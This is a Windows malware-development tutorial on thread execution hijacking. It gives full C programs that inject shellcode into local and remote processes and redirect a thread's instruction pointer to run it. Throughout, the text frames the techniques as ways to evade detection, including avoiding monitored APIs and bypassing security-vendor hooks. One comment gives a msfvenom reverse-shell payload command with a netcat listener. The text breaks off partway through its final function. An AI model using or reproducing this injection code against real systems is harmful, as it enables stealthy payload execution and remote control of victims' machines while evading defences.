Thread Hijacking

Thread Execution Hijacking is a technique that can execute a payload without the need of creating a new thread. The way this technique works is by suspending the thread and updating the register that points to the next instruction in memory to point to the start of the payload. When the thread resumes execution, the payload is executed.

Why hijack a created thread to execute a payload instead of executing the payload using a newly created thread?

Because of payload exposure and stealth. Creating a new thread for payload execution will expose the base address of the payload, and thus the payload's content because a new thread's entry must point to the payload's base address in memory. This is not the case with thread hijacking because the thread's entry would be pointing at a normal process function and therefore the thread would appear benign.

Every thread has a scheduling priority and maintains a set of structures that the system saves to the thread's context. Thread context includes all the information the thread needs to seamlessly resume execution, including the thread's set of CPU registers and stack.

Local Thread Creation

This technique consists of hijacking a locally created sacrificial thread to execute a payload.

The first step is creating the target thread since it's not possible to hijack a local process's main thread because the targeted thread needs to first be placed in a suspended state

CreateThread will initially be called to create a thread and set a benign function as the thread's entry.

The next step is to retrieve the thread's context using GetThreadContext in order to modify it and make it point at a payload.

Then CreateThread WinAPI will be used to create a new sacrificial thread. The new thread should appear as benign as possible to avoid detection. This can be achieved by making a benign function that gets executed by this newly created thread.

The next step is to suspend the newly created thread for GetThreadContext to succeed.

ResumeThread WinAPI will then be used to resume the thread.

#include <Windows.h>
#include <stdio.h>

// payload ; msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.16.111 LPORT=4444 -f raw -o reverse.bin
// listner ; nc -nlvp 4444 (on the 192.168.16.111 machine)

unsigned char NcPayload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	// Rest of the shellcode
	0x89, 0xDA, 0xFF, 0xD5
};


// x64 calc payload
unsigned char CalcPayload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	// Rest of the shellcode
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};



// dummy function to use for the sacrificial thread
VOID DummyFunction() {

	// stupid code
	int		j		= rand();
	int		i		= j * j;

}



BOOL RunViaClassicThreadHijacking(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
	
	PVOID		pAddress				= NULL;
	DWORD		dwOldProtection			= NULL;

	// .ContextFlags can be CONTEXT_CONTROL or CONTEXT_ALL as well (this will add more information to the context retrieved)
	CONTEXT		ThreadCtx				= { 
								.ContextFlags = CONTEXT_CONTROL 
	};

	// Allocating memory for the payload
	pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pAddress == NULL){
		printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Copying the payload to the allocated memory
	memcpy(pAddress, pPayload, sPayloadSize);

	// Changing the memory protection
	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Getting the original thread context
	if (!GetThreadContext(hThread, &ThreadCtx)){
		printf("[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}


	// Updating the next instruction pointer to be equal to the payload's address 
	ThreadCtx.Rip = pAddress;


	/*
		- in case of a x64 payload injection : we change the value of `Rip`
		- in case of a x32 payload injection : we change the value of `Eip`
	*/

	// setting the new updated thread context
	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}


	return TRUE;
}




int main() {
	
	HANDLE		hThread		= NULL;
	DWORD		dwThreadId	= NULL;

	// Creating sacrificial thread in suspended state 
	hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &DummyFunction, NULL, CREATE_SUSPENDED, &dwThreadId);
	if (hThread == NULL) {
		printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("[i] Hijacking Thread Of Id : %d ... ", dwThreadId);
	// hijacking the sacrificial thread created
	if (!RunViaClassicThreadHijacking(hThread, CalcPayload, sizeof(CalcPayload))) {
		return -1;
	}
	printf("[+] DONE \n");

	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();


	// resuming suspended thread, so that it runs our shellcode
	ResumeThread(hThread);
	
	WaitForSingleObject(hThread, INFINITE);

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

Remote Thread Creation

This technique consists of hijacking a remotely created sacrificial thread to execute a payload.

Same technique as the previous but against a remote process rather than the local process.

However, a better approach is used, which consits in creating a sacrificial process in a suspended state using CreateProcess which will create all of its threads in a suspended state, allowing them to be hijacked, since CreateRemoteThread WinAPI call it is a commonly abused function and its highly monitored.

So first we will create a process with CreateProcess WinAPI (using enviroment variables).

Then, CreateSuspendedProcess will be used to create the sacrificial process in a suspended state.

The next is to inject the payload using the same InjectShellcodeToRemoteProcess function as the one used in Process Injection section.

The final step is to use the thread handle which was returned by CreateSuspendedProcess to perform thread hijacking. Here, GetThreadContext is used to retrieve the thread's context, update the RIP register to point to the written payload, call SetThreadContext to update the thread's context and finally use ResumeThread to execute the payload.

#include <Windows.h>
#include <stdio.h>


// disable error 4996 (caused by sprint)
#pragma warning (disable:4996)


#define TARGET_PROCESS		"Notepad.exe"


// x64 calc metasploit shellcode 
unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	// Rest of the shellcode
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};


/*
Parameters:
	- lpProcessName; a process name under '\System32\' to create
	- dwProcessId; A pointer to a DWORD that recieves the process ID.
	- hProcess; A pointer to a HANDLE that recieves the process handle.
	- hThread; A pointer to a HANDLE that recieves the thread handle.

Creates a new process 'lpProcessName' in suspended state and return its pid, handle, and the handle of its main thread
*/
BOOL CreateSuspendedProcess(IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

	CHAR					lpPath		[MAX_PATH * 2];
	CHAR					WnDr		[MAX_PATH];

	STARTUPINFO				Si = { 0 };
	PROCESS_INFORMATION		Pi = { 0 };

	// Cleaning the structs by setting the member values to 0
	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// Setting the size of the structure
	Si.cb = sizeof(STARTUPINFO);

	// Getting the value of the %WINDIR% environment variable (this is usually 'C:\Windows')
	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	
	// Creating the full target process path 
	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
	printf("\n\t[i] Running : \"%s\" ... ", lpPath);

	if (!CreateProcessA(
		NULL,					// No module name (use command line)
		lpPath,					// Command line
		NULL,					// Process handle not inheritable
		NULL,					// Thread handle not inheritable
		FALSE,					// Set handle inheritance to FALSE
		CREATE_SUSPENDED,		// creation flags	
		NULL,					// Use parent's environment block
		NULL,					// Use parent's starting directory 
		&Si,					// Pointer to STARTUPINFO structure
		&Pi)) {					// Pointer to PROCESS_INFORMATION structure

		printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("[+] DONE \n");

	// Populating the OUT parameters with CreateProcessA's output
	*dwProcessId	= Pi.dwProcessId;
	*hProcess		= Pi.hProcess;
	*hThread		= Pi.hThread;

	// Doing a check to verify we got everything we need
	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
		return TRUE;

	return FALSE;
}


// InjectShellcodeToRemoteProcess function from Process Injection section

BOOL InjectShellcodeToRemoteProcess(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {


	SIZE_T	sNumberOfBytesWritten	= NULL;
	DWORD	dwOldProtection			= NULL;


	*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (*ppAddress == NULL) {
		printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("\n\t[i] Allocated Memory At : 0x%p \n", *ppAddress);


	printf("\t[#] Press <Enter> To Write Payload ... ");
	getchar();
	if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
		printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("\t[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);


	if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}


	return TRUE;
}


/*

Parameters:
	- hThread; suspended thread handle
	- pAddress; base address of the shellcode written to the process running 'hThread'

Performs thread hijacking, and resumes the thread after to run the payload at 'pAddress'

*/
BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {

	CONTEXT		ThreadCtx = {
			.ContextFlags = CONTEXT_CONTROL
	};

	// getting the original thread context
	if (!GetThreadContext(hThread, &ThreadCtx)) {
		printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	 // updating the next instruction pointer to be equal to our shellcode's address 
	ThreadCtx.Rip = pAddress;

	// setting the new updated thread context
	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("\n\t[#] Press <Enter> To Run ... ");
	getchar();

	// resuming suspended thread, thus running our payload
	ResumeThread(hThread);

	WaitForSingleObject(hThread, INFINITE);

	return TRUE;
}




int main() {

	HANDLE		hProcess	= NULL,
				hThread		= NULL;
	
	DWORD		dwProcessId = NULL;

	PVOID		pAddress	= NULL;


//	creating target remote process (in suspended state)
	printf("[i] Creating \"%s\" Process ... ", TARGET_PROCESS);
	if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
		return -1;
	}
	printf("\t[i] Target Process Created With Pid : %d \n", dwProcessId);
	printf("[+] DONE \n\n");


// injecting the payload and getting the base address of it
	printf("[i] Writing Shellcode To The Target Process ... ");
	if (!InjectShellcodeToRemoteProcess(hProcess, Payload, sizeof(Payload), &pAddress)) {
		return -1;
	}
	printf("[+] DONE \n\n");

	
// performing thread hijacking to run the payload
	printf("[i] Hijacking The Target Thread To Run Our Shellcode ... ");
	if (!HijackThread(hThread, pAddress)) {
		return -1;
	}
	printf("[+] DONE \n\n");


	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

Local Thread Enumeration

This technique consists of hijacking a local sacrificial thread to execute a payload without thread creation.

This is an alternative method where the system's running threads are enumerated using CreateToolhelp32Snapshot and then hijacked, instead of creating a target thread and modifying its context.

The following WinAPIs will be used to perform thread enumeration.

  • CreateToolhelp32Snapshot --> Used with the TH32CS_SNAPTHREAD flag to receive a snapshot of all the threads running on the system.

  • Thread32First --> Used to get the information about the first thread captured in the snapshot.

  • Thread32Next --> Used to get the information about the next thread in the captured snapshot.

  • OpenThread --> Used to open a handle to the target thread using its thread ID.

  • GetCurrentProcessId --> Used to retrieve the local process's PID. Since the local process is the target process, its PID is required to determine whether the threads belong to this process.

Once a valid handle to the target thread has been obtained, it can be passed to the previous HijackThread function.

#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>


// x64 calc metasploit shellcode 
unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	// Rest of shellcode
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};



/*

searches for the local threads of the local process, and return a handle to a worker thread 

*/
BOOL GetLocalThreadHandle(IN DWORD dwMainThreadId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {

	// Getting the local process ID
	DWORD				dwProcessId		= GetCurrentProcessId();

	HANDLE				hSnapShot		= NULL;
	THREADENTRY32		Thr				= {
										.dwSize = sizeof(THREADENTRY32)
	};

	// Takes a snapshot of the currently running processes's threads 
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// Retrieves information about the first thread encountered in the snapshot.
	if (!Thread32First(hSnapShot, &Thr)) {
		printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	do {

		// If the thread's PID is equal to the PID of the target process then
		// this thread is running under the target process
		// The 'Thr.th32ThreadID != dwMainThreadId' is to avoid targeting the main thread of our local process
		if (Thr.th32OwnerProcessID == dwProcessId && Thr.th32ThreadID != dwMainThreadId) {

			// Opening a handle to the thread 
			*dwThreadId = Thr.th32ThreadID;
			*hThread	= OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);

			if (*hThread == NULL)
				printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());

			break;
		}

		// While there are threads remaining in the snapshot
	} while (Thread32Next(hSnapShot, &Thr));


_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	if (*dwThreadId == NULL || *hThread == NULL)
		return FALSE;
	return TRUE;
}



BOOL InjectShellcodeToLocalProcess(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {

	DWORD	dwOldProtection = NULL;

	*ppAddress = VirtualAlloc(NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (*ppAddress == NULL) {
		printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("\t[i] Allocated Memory At : 0x%p \n", *ppAddress);


	printf("\t[#] Press <Enter> To Write Payload ... ");
	getchar();
	memcpy(*ppAddress, pShellcode, sSizeOfShellcode);


	if (!VirtualProtect(*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}


BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {

	CONTEXT		ThreadCtx = {
							.ContextFlags = CONTEXT_ALL
	};

	// suspend the thread passed in
	SuspendThread(hThread);

	if (!GetThreadContext(hThread, &ThreadCtx)) {
		printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	ThreadCtx.Rip = pAddress;

	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("\t[#] Press <Enter> To Run ... ");
	getchar();

	ResumeThread(hThread);

	WaitForSingleObject(hThread, INFINITE);

	return TRUE;
}




int main() {

	HANDLE		hThread			= NULL;
	
	DWORD		dwMainThreadId	= NULL,
				dwThreadId		= NULL;

	PVOID		pAddress		= NULL;


	// getting the main thread id, since we are calling from our main thread, and not from a worker thread
	// 'GetCurrentThreadId' will return the main thread ID
	dwMainThreadId	= GetCurrentThreadId();



	printf("[i] Searching For A Thread Under The Local Process ... \n");
	if (!GetLocalThreadHandle(dwMainThreadId, &dwThreadId, &hThread)) {
		printf("[!] No Thread is Found \n");
		return -1;
	}
	printf("\t[i] Found Target Thread Of Id: %d \n", dwThreadId);
	printf("[+] DONE \n\n");



	printf("[i] Writing Shellcode To The Local Process ... \n");
	if (!InjectShellcodeToLocalProcess(Payload, sizeof(Payload), &pAddress)) {
		return -1;
	}
	printf("[+] DONE \n\n");



	printf("[i] Hijacking The Target Thread To Run Our Shellcode ... \n");
	if (!HijackThread(hThread, pAddress)) {
		return -1;
	}
	printf("[+] DONE \n\n");


	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

Remote Thread Enumeration

This technique consists of hijacking a remote sacrificial thread to execute a payload without thread creation.

The difference when targeting remote processes is that the main thread is a valid target for hijacking.

It will first get the target process's PID, and then inject the payload and hijack its thread ID.

CreateToolhelp32Snapshot (C)

CreateToolhelp32Snapshot is used like in Local Thread Enumeration with minor changes to make it work agains remote threads.

#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>


// x64 calc metasploit shellcode 
unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	// Rest of the shellcode
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};


// get the process handle of the target process `szProcessName`

BOOL GetRemoteProcessHandle(IN LPWSTR szProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {

	HANDLE			hSnapShot = NULL;
	PROCESSENTRY32	Proc = {
					.dwSize = sizeof(PROCESSENTRY32)
	};

	// Takes a snapshot of the currently running processes 
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// Retrieves information about the first process encountered in the snapshot.
	if (!Process32First(hSnapShot, &Proc)) {
		printf("\n\t[!] Process32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	do {

		WCHAR LowerName[MAX_PATH * 2];

		if (Proc.szExeFile) {

			DWORD	dwSize = lstrlenW(Proc.szExeFile);
			DWORD   i = 0;

			RtlSecureZeroMemory(LowerName, MAX_PATH * 2);

			// converting each charachter in Proc.szExeFile to a lower case character and saving it
			// in LowerName to do the *wcscmp* call later ...

			if (dwSize < MAX_PATH * 2) {

				for (; i < dwSize; i++)
					LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);

				LowerName[i++] = '\0';
			}
		}

		// compare the enumerated process path with what is passed, if equal ..
		if (wcscmp(LowerName, szProcessName) == 0) {
			// we save the process id 
			*dwProcessId = Proc.th32ProcessID;
			// we open a process handle and return
			*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
			if (*hProcess == NULL)
				printf("\n\t[!] OpenProcess Failed With Error : %d \n", GetLastError());

			break;
		}

		// Retrieves information about the next process recorded the snapshot.
	} while (Process32Next(hSnapShot, &Proc));
	// while we can still have a valid output ftom Process32Net, continue looping


_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	if (*dwProcessId == NULL || *hProcess == NULL)
		return FALSE;
	return TRUE;
}


//	get the thread handle of a remote process of pid : `dwProcessId`
BOOL GetRemoteThreadhandle(IN DWORD dwProcessId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {
	
	HANDLE			hSnapShot = NULL;
	THREADENTRY32	Thr = {
					.dwSize = sizeof(THREADENTRY32)
	};

	// Takes a snapshot of the currently running processes's threads 
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// Retrieves information about the first thread encountered in the snapshot.
	if (!Thread32First(hSnapShot, &Thr)) {
		printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	do {
		// If the thread's PID is equal to the PID of the target process then
		// this thread is running under the target process
		if (Thr.th32OwnerProcessID == dwProcessId){
			
			*dwThreadId = Thr.th32ThreadID;
			*hThread	= OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);
			
			if (*hThread == NULL)
				printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());

			break;
		}

		// While there are threads remaining in the snapshot
	} while (Thread32Next(hSnapShot, &Thr));


_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	if (*dwThreadId == NULL || *hThread == NULL)
		return FALSE;
	return TRUE;
}



// inject the payload to the remote process of handle `hProcess`

BOOL InjectShellcodeToRemoteProcess(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {


	SIZE_T	sNumberOfBytesWritten 	= NULL;
	DWORD	dwOldProtection 		= NULL;


	*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (*ppAddress == NULL) {
		printf("\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("\t[i] Allocated Memory At : 0x%p \n", *ppAddress);


	printf("\t[#] Press <Enter> To Write Payload ... ");
	getchar();
	if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
		printf("\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("\t[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);


	if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}


	return TRUE;
}



// perform thread hijacking
BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {

	CONTEXT		ThreadCtx = {
							.ContextFlags = CONTEXT_ALL
	};
	
	// suspend the thread
	SuspendThread(hThread);

	if (!GetThreadContext(hThread, &ThreadCtx)) {
		printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	ThreadCtx.Rip = pAddress;

	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("\t[#] Press <Enter> To Run ... ");
	getchar();

	ResumeThread(hThread);

	WaitForSingleObject(hThread, INFINITE);

	return TRUE;
}




int wmain(int argc, wchar_t* argv[]) {

	HANDLE		hProcess	= NULL,
				hThread		= NULL;
	
	DWORD		dwProcessId = NULL,
				dwThreadId	= NULL;

	PVOID		pAddress	= NULL;


	
	if (argc < 2) {
		wprintf(L"[!] Usage : \"%s\" <Process Name> \n", argv[0]);
		return -1;
	}

//-----------------------------------------------------------------------

	wprintf(L"[i] Searching For Process Id Of \"%s\" ... \n", argv[1]);
	if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
		printf("[!] Process is Not Found \n");
		return -1;
	}
	printf("\t[i] Found Target Process Pid: %d \n", dwProcessId);
	printf("[+] DONE \n\n");
	
//-----------------------------------------------------------------------

	printf("[i] Searching For A Thread Under The Target Process ... \n");
	if (!GetRemoteThreadhandle(dwProcessId, &dwThreadId, &hThread)) {
		printf("[!] No Thread is Found \n");
		return -1;
	}
	printf("\t[i] Found Target Thread Of Id: %d \n", dwThreadId);
	printf("[+] DONE \n\n");

//-----------------------------------------------------------------------

	printf("[i] Writing Shellcode To The Target Process ... \n");
	if (!InjectShellcodeToRemoteProcess(hProcess, Payload, sizeof(Payload), &pAddress)) {
		return -1;
	}
	printf("[+] DONE \n\n");

//-----------------------------------------------------------------------

	printf("[i] Hijacking The Target Thread To Run Our Shellcode ... \n");
	if (!HijackThread(hThread, pAddress)) {
		return -1;
	}
	printf("[+] DONE \n\n");

	CloseHandle(hThread);
	CloseHandle(hProcess);

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

NtQuerySystemInformation (C)

Unfortunately, that previous approach can be problematic since it would first require the use of API hashing to hide these WinAPIs from the IAT. Secondly, even with API hashing in use, the previously mentioned WinAPIs make use of lower-level syscalls that can eventually be hooked by security vendors.

Using syscalls to enumerate threads is preferable as it skips past the use of WinAPIs.

Process Hacker's definition will be used (https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntexapi.h#L1736) since the SYSTEM_PROCESS_INFORMATION structure was vaguely documented by Microsoft.

NtQuerySystemInformation will be invoked with the SystemProcessInformation flag to obtain an array of SYSTEM_PROCESS_INFORMATION. In this array, every element corresponds to a running process. By accessing the Threads member of each element, which is an array of the SYSTEM_THREAD_INFORMATION structure, one can uncover the active threads within the process.

NtQuerySystemInformation will be called twice, the first call retrieves the SYSTEM_PROCESS_INFORMATION array size, which is then used to allocate a buffer. The second call is to use the allocated buffer to fetch the array.

#include <Windows.h>
#include <stdio.h>
#include "Structs.h"

// https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/thread.htm?ts=0,313

#define STATUS_SUCCESS              0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004


// function pointer
// https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
typedef NTSTATUS (WINAPI* fnNtQuerySystemInformation)(
   SYSTEM_INFORMATION_CLASS SystemInformationClass,
   PVOID                    SystemInformation,
   ULONG                    SystemInformationLength,
   PULONG                   ReturnLength
);



BOOL GetRemoteProcessThreads(IN LPCWSTR szProcName, OUT DWORD* pdwPid, OUT DWORD* pdwThread) {

    fnNtQuerySystemInformation		pNtQuerySystemInformation   = NULL;
    ULONG							uReturnLen1                 = NULL,
                                    uReturnLen2                 = NULL;
    PSYSTEM_PROCESS_INFORMATION		SystemProcInfo              = NULL;
    PVOID							pValueToFree                = NULL;
    NTSTATUS						STATUS                      = NULL;

    // Fetching NtQuerySystemInformation's address from ntdll.dll
    pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
    if (pNtQuerySystemInformation == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d\n", GetLastError());
        goto _EndOfFunc;
    }

    // First NtQuerySystemInformation call - retrieve the size of the return buffer (uReturnLen1)
    if ((STATUS = pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1)) != STATUS_SUCCESS && STATUS != STATUS_INFO_LENGTH_MISMATCH) {
        printf("[!] NtQuerySystemInformation [1] Failed With Error : 0x%0.8X \n", STATUS);
        goto _EndOfFunc;
    }

    // Allocating buffer of size "uReturnLen1" 
    SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
    if (SystemProcInfo == NULL) {
        printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError());
        goto _EndOfFunc;
    }

    // Setting a fixed variable to be used later to free, because "SystemProcInfo" will be modefied
    pValueToFree = SystemProcInfo;

    // Second NtQuerySystemInformation call - returning the SYSTEM_PROCESS_INFORMATION array (SystemProcInfo)
    if ((STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2)) != STATUS_SUCCESS) {
        printf("[!] NtQuerySystemInformation [2] Failed With Error : 0x%0.8X \n", STATUS);
        goto _EndOfFunc;
    }

    // Enumerating SystemProcInfo, looking for process "szProcName"
    while (TRUE) {

        if (SystemProcInfo->ImageName.Length && wcscmp(SystemProcInfo->ImageName.Buffer, szProcName) == 0) {

            // Target process is found, return PID & TID and break
            *pdwPid       = (DWORD)SystemProcInfo->UniqueProcessId;
            *pdwThread    = (DWORD)SystemProcInfo->Threads[0].ClientId.UniqueThread;
            break;
        }

        // If we reached the end of the SYSTEM_PROCESS_INFORMATION structure
        if (!SystemProcInfo->NextEntryOffset)
            break;

        // Calculate the next SYSTEM_PROCESS_INFORMATION element in the array
        SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
    }

    // Free the SYSTEM_PROCESS_INFORMATION structure
_EndOfFunc:
    if (pValueToFree)
        HeapFree(GetProcessHeap(), 0, pValueToFree);
    if (*pdwPid != NULL && *pdwThread != NULL)
        return TRUE;
    else
        return FALSE;
}



VOID ListRemoteProcessThreads(IN LPCWSTR szProcName) {

    fnNtQuerySystemInformation		pNtQuerySystemInformation   = NULL;
    ULONG							uReturnLen1                 = NULL,
                                    uReturnLen2                 = NULL;
    PSYSTEM_PROCESS_INFORMATION		SystemProcInfo              = NULL;
    PSYSTEM_THREAD_INFORMATION      SystemThreadInfo            = NULL;
    PVOID							pValueToFree                = NULL;
    NTSTATUS						STATUS                      = NULL;

    // Fetching NtQuerySystemInformation's address from ntdll.dll
    pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
    if (pNtQuerySystemInformation == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d\n", GetLastError());
        goto _EndOfFunc;
    }

    // First NtQuerySystemInformation call - retrieve the size of the return buffer (uReturnLen1)
    if ((STATUS = pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1)) != STATUS_SUCCESS && STATUS != STATUS_INFO_LENGTH_MISMATCH) {
        printf("[!] NtQuerySystemInformation [1] Failed With Error : 0x%0.8X \n", STATUS);
        goto _EndOfFunc;
    }

    // Allocating buffer of size "uReturnLen1" 
    SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
    if (SystemProcInfo == NULL) {
        printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError());
        goto _EndOfFunc;
    }

    // Setting a fixed variable to be used later to free, because "SystemProcInfo" will be modefied
